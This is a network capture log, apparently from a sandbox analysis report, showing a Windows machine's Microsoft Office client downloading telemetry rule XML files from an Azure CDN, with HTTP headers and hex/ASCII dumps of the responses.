2024-12-02 03:59:01 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:02 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035902Z-174f7845968kdththC1EWRzvxn0000000g7000000000ca4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:02 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:03 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:03 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 8bf79252-001e-0028-5c50-41c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035903Z-174f7845968glpgnhC1EWR7uec000000140000000000fvwc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:03 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:03 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:03 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 451890cd-001e-0065-1114-410b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035903Z-174f7845968ljs8phC1EWRe6en00000013p000000000k9vz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:04 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:03 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:04 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:03 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: cdcb5222-c01e-0014-44bd-42a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035903Z-174f7845968xlwnmhC1EWR0sv800000013t00000000051x9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:59:04 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:03 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:04 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035904Z-174f78459685726chC1EWRsnbg00000013ug00000000qgfh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:04 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:04 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:04 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 6644a72f-f01e-001f-6d66-435dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035904Z-174f7845968frfdmhC1EWRxxbw000000142000000000063w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:04 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:05 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:05 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035905Z-174f7845968cdxdrhC1EWRg0en00000013wg0000000066xv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:06 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:05 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:06 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 21673337-d01e-00a1-71b2-4235b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035906Z-174f7845968ljs8phC1EWRe6en00000013q000000000f61a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:06 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:05 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:06 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c0a226f0-401e-0048-5ab5-420409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035906Z-174f78459684db9fhC1EWRc7g4000000040g000000000xhp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:06 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:06 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:06 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 7e25aef7-c01e-0049-6a05-41ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035906Z-174f7845968frfdmhC1EWRxxbw00000013xg00000000b0rq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:06 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:06 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:06 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 6da3e3c6-601e-0084-52b4-426b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035906Z-174f78459684bddphC1EWRbht400000013h000000000mhfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:06 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:08 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:08 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 0fbdb1d5-101e-0079-0270-435913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035908Z-174f784596886s2bhC1EWR743w00000013w000000000ewmx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:08 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

